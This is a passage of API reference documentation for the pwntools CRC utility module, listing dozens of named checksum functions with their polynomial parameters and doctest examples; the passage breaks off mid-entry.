pwnlib.util.crc.**crc_16_buypass**(*data*) → int

Calculates the crc_16_buypass checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x8005
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-buypass

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_buypass(b'123456789'))
65256
```

pwnlib.util.crc.**crc_16_ccitt_false**(*data*) → int

Calculates the crc_16_ccitt_false checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xffff
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-ccitt-false

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_ccitt_false(b'123456789'))
10673
```

pwnlib.util.crc.**crc_16_cdma2000**(*data*) → int

Calculates the crc_16_cdma2000 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xc867
- width = 16
- init = 0xffff
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-cdma2000

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_cdma2000(b'123456789'))
19462
```

pwnlib.util.crc.**crc_16_cms**(*data*) → int

Calculates the crc_16_cms checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x8005
- width = 16
- init = 0xffff
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-cms

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_cms(b'123456789'))
44775
```

pwnlib.util.crc.**crc_16_dds_110**(*data*) → int

Calculates the crc_16_dds_110 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x8005
- width = 16
- init = 0x800d
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dds-110

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_dds_110(b'123456789'))
40655
```

`pwnlib.util.crc.crc_16_dect_r(data) → int`

Calculates the crc_16_dect_r checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x589
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x1

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dect-r

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_dect_r(b'123456789'))
126
```

`pwnlib.util.crc.crc_16_dect_x(data) → int`

Calculates the crc_16_dect_x checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x589
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dect-x

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_dect_x(b'123456789'))
127
```

`pwnlib.util.crc.crc_16_dnp(data) → int`

Calculates the crc_16_dnp checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x3d65
- width = 16
- init = 0x0
- refin = True

- refout = True
- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dnp

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_dnp(b'123456789'))
60034
```

pwnlib.util.crc.**crc_16_en_13757**(*data*) → int

Calculates the crc_16_en_13757 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3d65
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-en-13757

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_en_13757(b'123456789'))
49847
```

pwnlib.util.crc.**crc_16_genibus**(*data*) → int

Calculates the crc_16_genibus checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xffff
- refin = False
- refout = False
- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-genibus

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_genibus(b'123456789'))
54862
```

pwnlib.util.crc.**crc_16_gsm**(*data*) → int
Calculates the crc_16_gsm checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-gsm

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_gsm(b'123456789'))
52796
```

pwnlib.util.crc.**crc_16_lj1200**(*data*) → int
Calculates the crc_16_lj1200 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x6f63
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-lj1200

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_lj1200(b'123456789'))
48628
```

pwnlib.util.crc.**crc_16_maxim**(*data*) → int
Calculates the crc_16_maxim checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x8005
- width = 16
- init = 0x0
- refin = True
- refout = True
- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-maxim

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_maxim(b'123456789'))
17602
```

pwnlib.util.crc.**crc_16_mcrf4xx**(*data*) → int

Calculates the crc_16_mcrf4xx checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xffff
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-mcrf4xx

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_mcrf4xx(b'123456789'))
28561
```

pwnlib.util.crc.**crc_16_opensafety_a**(*data*) → int

Calculates the crc_16_opensafety_a checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x5935
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-opensafety-a

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_opensafety_a(b'123456789'))
23864
```

pwnlib.util.crc.**crc_16_opensafety_b**(*data*) → int

Calculates the crc_16_opensafety_b checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x755b
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-opensafety-a

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_opensafety_b(b'123456789'))
8446
```

pwnlib.util.crc.**crc_16_profibus**(*data*) → int

Calculates the crc_16_profibus checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1dcf
- width = 16
- init = 0xffff
- refin = False
- refout = False
- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-profibus

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_profibus(b'123456789'))
43033
```

pwnlib.util.crc.**crc_16_riello**(*data*) → int
Calculates the crc_16_riello checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xb2aa
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-riello

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_riello(b'123456789'))
25552
```

pwnlib.util.crc.**crc_16_t10_dif**(*data*) → int
Calculates the crc_16_t10_dif checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x8bb7
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-t10-dif

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_t10_dif(b'123456789'))
53467
```

pwnlib.util.crc.**crc_16_teledisk**(*data*) → int
Calculates the crc_16_teledisk checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xa097
- width = 16
- init = 0x0
- refin = False

- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-teledisk

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_teledisk(b'123456789'))
4019
```

pwnlib.util.crc.**crc_16_tms37157**(*data*) → int
Calculates the crc_16_tms37157 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0x89ec
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-tms37157

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_tms37157(b'123456789'))
9905
```

pwnlib.util.crc.**crc_16_usb**(*data*) → int
Calculates the crc_16_usb checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x8005
- width = 16
- init = 0xffff
- refin = True
- refout = True
- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-usb

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_16_usb(b'123456789'))
46280
```

pwnlib.util.crc.**crc_24**(*data*) → int

Calculates the crc_24 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x864cfb
- width = 24
- init = 0xb704ce
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.24

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_24(b'123456789'))
2215682
```

pwnlib.util.crc.**crc_24_ble**(*data*) → int

Calculates the crc_24_ble checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x65b
- width = 24
- init = 0x555555
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-ble

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_24_ble(b'123456789'))
12737110
```

pwnlib.util.crc.**crc_24_flexray_a**(*data*) → int

Calculates the crc_24_flexray_a checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x5d6dcb
- width = 24
- init = 0xfedcba
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-a

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_24_flexray_a(b'123456789'))
7961021
```

pwnlib.util.crc.**crc_24_flexray_b**(*data*) → int
Calculates the crc_24_flexray_b checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x5d6dcb
- width = 24
- init = 0xabcdef
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-b

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_24_flexray_b(b'123456789'))
2040760
```

pwnlib.util.crc.**crc_24_interlaken**(*data*) → int
Calculates the crc_24_interlaken checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x328b63
- width = 24
- init = 0xffffff
- refin = False
- refout = False
- xorout = 0xffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-interlaken

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_24_interlaken(b'123456789'))
11858918
```

pwnlib.util.crc.**crc_24_lte_a**(*data*) → int

Calculates the crc_24_lte_a checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x864cfb
- width = 24
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-lte-a

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_24_lte_a(b'123456789'))
13494019
```

pwnlib.util.crc.**crc_24_lte_b**(*data*) → int

Calculates the crc_24_lte_b checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x800063
- width = 24
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-lte-b

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_24_lte_b(b'123456789'))
2355026
```

pwnlib.util.crc.**crc_30_cdma**(*data*) → int
Calculates the crc_30_cdma checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x2030b9c7
- width = 30
- init = 0x3fffffff
- refin = False
- refout = False
- xorout = 0x3fffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.30

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_30_cdma(b'123456789'))
79907519
```

pwnlib.util.crc.**crc_31_philips**(*data*) → int
Calculates the crc_31_philips checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4c11db7
- width = 31
- init = 0x7fffffff
- refin = False
- refout = False
- xorout = 0x7fffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.31

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_31_philips(b'123456789'))
216654956
```

pwnlib.util.crc.**crc_32**(*data*) → int
Calculates the crc_32 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4c11db7
- width = 32
- init = 0xffffffff
- refin = True

- refout = True
- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.32

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_32(b'123456789'))
3421780262
```

pwnlib.util.crc.**crc_32_autosar**(*data*) → int
Calculates the crc_32_autosar checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xf4acfb13
- width = 32
- init = 0xffffffff
- refin = True
- refout = True
- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-autosar

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_32_autosar(b'123456789'))
379048042
```

pwnlib.util.crc.**crc_32_bzip2**(*data*) → int
Calculates the crc_32_bzip2 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4c11db7
- width = 32
- init = 0xffffffff
- refin = False
- refout = False
- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-bzip2

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_32_bzip2(b'123456789'))
4236843288
```

pwnlib.util.crc.**crc_32_mpeg_2**(*data*) → int
Calculates the crc_32_mpeg_2 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4c11db7
- width = 32
- init = 0xffffffff
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-mpeg-2

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_32_mpeg_2(b'123456789'))
58124007
```

pwnlib.util.crc.**crc_32_posix**(*data*) → int
Calculates the crc_32_posix checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4c11db7
- width = 32
- init = 0x0
- refin = False
- refout = False
- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-posix

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_32_posix(b'123456789'))
1985902208
```

pwnlib.util.crc.**crc_32c**(*data*) → int
Calculates the crc_32c checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1edc6f41
- width = 32
- init = 0xffffffff
- refin = True
- refout = True
- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32c

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_32c(b'123456789'))
3808858755
```

pwnlib.util.crc.**crc_32d**(*data*) → int

Calculates the crc_32d checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xa833982b
- width = 32
- init = 0xffffffff
- refin = True
- refout = True
- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32d

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_32d(b'123456789'))
2268157302
```

pwnlib.util.crc.**crc_32q**(*data*) → int

Calculates the crc_32q checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x814141ab
- width = 32
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32q

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_32q(b'123456789'))
806403967
```

pwnlib.util.crc.**crc_3_gsm**(*data*) → int
Calculates the crc_3_gsm checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3
- width = 3
- init = 0x0
- refin = False
- refout = False
- xorout = 0x7

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.3

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_3_gsm(b'123456789'))
4
```

pwnlib.util.crc.**crc_3_rohc**(*data*) → int
Calculates the crc_3_rohc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3
- width = 3
- init = 0x7
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-3-rohc

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_3_rohc(b'123456789'))
6
```

`pwnlib.util.crc.crc_40_gsm(data) → int`

Calculates the crc_40_gsm checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x4820009
- width = 40
- init = 0x0
- refin = False
- refout = False
- xorout = 0xffffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.40

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_40_gsm(b'123456789'))
910907393606
```

`pwnlib.util.crc.crc_4_interlaken(data) → int`

Calculates the crc_4_interlaken checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x3
- width = 4
- init = 0xf
- refin = False
- refout = False
- xorout = 0xf

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.4

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_4_interlaken(b'123456789'))
11
```

`pwnlib.util.crc.crc_4_itu(data) → int`

Calculates the crc_4_itu checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x3
- width = 4
- init = 0x0
- refin = True

- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-4-itu

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_4_itu(b'123456789'))
7
```

pwnlib.util.crc.**crc_5_epc**(*data*) → int

Calculates the crc_5_epc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x9
- width = 5
- init = 0x9
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.5

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_5_epc(b'123456789'))
0
```

pwnlib.util.crc.**crc_5_itu**(*data*) → int

Calculates the crc_5_itu checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x15
- width = 5
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-5-itu

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_5_itu(b'123456789'))
7
```

`pwnlib.util.crc.crc_5_usb(data) → int`

Calculates the crc_5_usb checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x5
- width = 5
- init = 0x1f
- refin = True
- refout = True
- xorout = 0x1f

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-5-usb

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_5_usb(b'123456789'))
25
```

`pwnlib.util.crc.crc_64(data) → int`

Calculates the crc_64 checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x42f0e1eba9ea3693
- width = 64
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.64

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_64(b'123456789'))
7800480153909949255
```

`pwnlib.util.crc.crc_64_go_iso(data) → int`

Calculates the crc_64_go_iso checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1b
- width = 64
- init = 0xffffffffffffffff
- refin = True
- refout = True
- xorout = 0xffffffffffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-go-iso

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_64_go_iso(b'123456789'))
13333283586479230977
```

pwnlib.util.crc.**crc_64_we**(*data*) → int

Calculates the crc_64_we checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x42f0e1eba9ea3693
- width = 64
- init = 0xffffffffffffffff
- refin = False
- refout = False
- xorout = 0xffffffffffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-we

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_64_we(b'123456789'))
7128171145767219210
```

pwnlib.util.crc.**crc_64_xz**(*data*) → int

Calculates the crc_64_xz checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x42f0e1eba9ea3693
- width = 64
- init = 0xffffffffffffffff
- refin = True
- refout = True
- xorout = 0xffffffffffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-xz

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_64_xz(b'123456789'))
11051210869376104954
```

pwnlib.util.crc.**crc_6_cdma2000_a**(*data*) → int
Calculates the crc_6_cdma2000_a checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x27
- width = 6
- init = 0x3f
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.6

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_6_cdma2000_a(b'123456789'))
13
```

pwnlib.util.crc.**crc_6_cdma2000_b**(*data*) → int
Calculates the crc_6_cdma2000_b checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x7
- width = 6
- init = 0x3f
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-cdma2000-b

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_6_cdma2000_b(b'123456789'))
59
```

pwnlib.util.crc.**crc_6_darc**(*data*) → int
Calculates the crc_6_darc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x19
- width = 6
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-darc

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_6_darc(b'123456789'))
38
```

pwnlib.util.crc.**crc_6_gsm**(*data*) → int
Calculates the crc_6_gsm checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x2f
- width = 6
- init = 0x0
- refin = False
- refout = False
- xorout = 0x3f

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-gsm

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_6_gsm(b'123456789'))
19
```

pwnlib.util.crc.**crc_6_itu**(*data*) → int
Calculates the crc_6_itu checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3
- width = 6
- init = 0x0
- refin = True

- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-itu

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_6_itu(b'123456789'))
6
```

pwnlib.util.crc.**crc_7**(*data*) → int

Calculates the crc_7 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x9
- width = 7
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.7

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_7(b'123456789'))
117
```

pwnlib.util.crc.**crc_7_rohc**(*data*) → int

Calculates the crc_7_rohc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4f
- width = 7
- init = 0x7f
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-7-rohc

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_7_rohc(b'123456789'))
83
```

pwnlib.util.crc.**crc_7_umts**(*data*) → int

Calculates the crc_7_umts checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x45
- width = 7
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-7-umts

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_7_umts(b'123456789'))
97
```

pwnlib.util.crc.**crc_8**(*data*) → int

Calculates the crc_8 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x7
- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.8

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8(b'123456789'))
244
```

pwnlib.util.crc.**crc_82_darc**(*data*) → int

Calculates the crc_82_darc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x308c0111011401440411
- width = 82
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.82

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_82_darc(b'123456789'))
749237524598872659187218
```

pwnlib.util.crc.**crc_8_autosar**(*data*) → int

Calculates the crc_8_autosar checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x2f
- width = 8
- init = 0xff
- refin = False
- refout = False
- xorout = 0xff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-autosar

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8_autosar(b'123456789'))
223
```

pwnlib.util.crc.**crc_8_cdma2000**(*data*) → int

Calculates the crc_8_cdma2000 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x9b
- width = 8
- init = 0xff
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-cdma2000

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8_cdma2000(b'123456789'))
218
```

pwnlib.util.crc.**crc_8_darc**(*data*) → int

Calculates the crc_8_darc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x39
- width = 8
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-darc

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8_darc(b'123456789'))
21
```

pwnlib.util.crc.**crc_8_dvb_s2**(*data*) → int

Calculates the crc_8_dvb_s2 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xd5
- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-dvb-s2

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8_dvb_s2(b'123456789'))
188
```

pwnlib.util.crc.**crc_8_ebu**(*data*) → int

Calculates the crc_8_ebu checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1d
- width = 8
- init = 0xff
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-ebu

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8_ebu(b'123456789'))
151
```

pwnlib.util.crc.**crc_8_gsm_a**(*data*) → int

Calculates the crc_8_gsm_a checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1d
- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-gsm-a

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8_gsm_a(b'123456789'))
55
```

pwnlib.util.crc.**crc_8_gsm_b**(*data*) → int

Calculates the crc_8_gsm_b checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x49
- width = 8
- init = 0x0
- refin = False

- refout = False
- xorout = 0xff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-gsm-b

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8_gsm_b(b'123456789'))
148
```

pwnlib.util.crc.**crc_8_i_code**(*data*) → int
Calculates the crc_8_i_code checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1d
- width = 8
- init = 0xfd
- refin = False
- refout = False
- xorout = 0x0

